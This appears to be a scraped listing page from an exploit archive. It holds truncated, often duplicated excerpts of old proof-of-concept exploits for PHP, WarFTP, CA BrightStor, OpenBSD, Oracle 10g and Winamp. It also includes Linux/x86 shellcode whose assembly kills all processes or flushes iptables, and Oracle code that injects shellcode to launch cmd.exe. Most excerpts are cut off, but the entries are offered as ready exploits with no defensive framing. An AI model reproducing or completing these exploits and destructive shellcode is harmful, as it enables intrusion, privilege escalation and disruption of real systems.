PHP 4.4.65.2.1 - array_user_key_compare() ZVAL dtor Local Overflow

PHP 4.4.65.2.1 - arrayuserkeycompare ZVAL dtor Local Overflow ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code...

CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow

CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow !/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflo...

OpenBSD ICMPv6 Fragment Remote Execution Exploit PoC

No description provided by source. The PoC executes the shellcode int 3 and returns. It overwrites the extfree function pointer on the mbuf and forces a mfreem on the overflowed packet. The Impacket library is used to craft and send packets http://oss.coresecurity.com/projects/impacket.html or...

WarFTP 1.65 (USER) Remote Buffer Overflow Exploit (win2k SP4)

No description provided by source. !/usr/bin/python Remote exploit for WarFTP 1.65. Tested on Windows 2000 server SP4 inside VMware. A trivially exploitable stack overflow is present in WarFTP which can be triggered by sending a long username 480 bytes along with the USER...

WarFTP 1.65 (USER) Remote Buffer Overflow SEH Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================== WarFTP 1.65 USER Remote Buffer Overflow SEH Overflow Exploit ==============================================================...

WarFTP 1.65 (Windows 2000 SP4) - USER Remote Buffer Overflow (Perl)

WarFTP 1.65 Windows 2000 SP4 - USER Remote Buffer Overflow Perl =============================================================================================== WarFTP 1.65 USER Remote Buffer Overflow SEH overflow Exploit By Umesh Wanve...

PHP 5.2.0/5.2.1 Rejected Session ID Double Free Exploit

Exploit for linux platform in category local exploits ======================================================= PHP 5.2.0/5.2.1 Rejected Session ID Double Free Exploit ======================================================= ?php //////////////////////////////////////////////////////////////////////...

WarFTP 1.65 (USER) Remote Buffer Overflow Exploit (win2k SP4)

Exploit for unknown platform in category remote exploits ============================================================= WarFTP 1.65 USER Remote Buffer Overflow Exploit win2k SP4 ============================================================= !/usr/bin/python Remote exploit for WarFTP 1.65. Tested on...

WarFTP 1.65 (Windows 2000 SP4) - USER Remote Buffer Overflow (Python)

WarFTP 1.65 Windows 2000 SP4 - USER Remote Buffer Overflow Python !/usr/bin/python Remote exploit for WarFTP 1.65. Tested on Windows 2000 server SP4 inside VMware. A trivially exploitable stack overflow is present in WarFTP which can be triggered by sending a long username 480 bytes along with th...

PHP 5.2.0 (OSX) - EXTFilter Space Trimming Buffer Underflow

PHP 5.2.0 OSX - EXTFilter Space Trimming Buffer Underflow ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from...

Oracle 10g (Windows x86) - 'PROCESS_DUP_HANDLE' Local Privilege Escalation

// Argeniss - Information Security // // Oracle Database local elevation of privileges PoC exploit // // Author: Cesar Cerrudo include include BOOL InjectShellcodeDWORD oldEIP,CHAR oSID HMODULE hKernel; FARPROC pCreateProc; LPSTR sCommand="cmd.exe"; DWORD dwStrLen; CHAR buff100;...

Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)

No description provided by source. // Argeniss - Information Security // // Oracle Database local elevation of privileges PoC exploit // // Author: Cesar Cerrudo include windows.h include stdio.h BOOL InjectShellcodeDWORD oldEIP,CHAR oSID HMODULE hKernel; FARPROC pCreateProc; LPSTR...

Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)

Exploit for unknown platform in category local exploits ================================================================= Oracle 10g PROCESSDUPHANDLE Local Privilege Elevation win32 ================================================================= // Argeniss - Information Security // // Oracle...

winamp512-overflow.txt

!/usr/bin/perl -w =============================================================================================== Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit By Umesh Wanve [email protected]...

linux/x86 kill all processes 11 bytes

No description provided by source. / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1, SIGKILL push byte 37 pop eax push byte -1 pop ebx push byte 9 pop ecx int 0x80 / main char shellcode =...

linux/x86 kill all processes 11 bytes

Exploit for linux/x86 platform in category shellcode ===================================== linux/x86 kill all processes 11 bytes ===================================== / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1,...

linux/x86 - kill all processes 11 bytes

linux/x86 kill all processes 11 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1, SIGKILL push byte 37 pop eax push byte -1 pop ebx push byte 9 pop ecx int 0x80 / main char...

linux/x86 - /sbin/iptables -F 40 bytes

linux/x86 /sbin/iptables -F 40 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush iptables for Linux x86 section .text global start start: ; execve"/sbin/iptables", "/sbin/iptables", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word...

linux/x86 /sbin/iptables -F 40 bytes

Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 /sbin/iptables -F 40 bytes ==================================== / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush iptables for Linux x86 section .text global start start: ;...

Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Exploit (perl)

No description provided by source. !/usr/bin/perl -w =============================================================================================== Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit By Umesh Wanve [email protected]...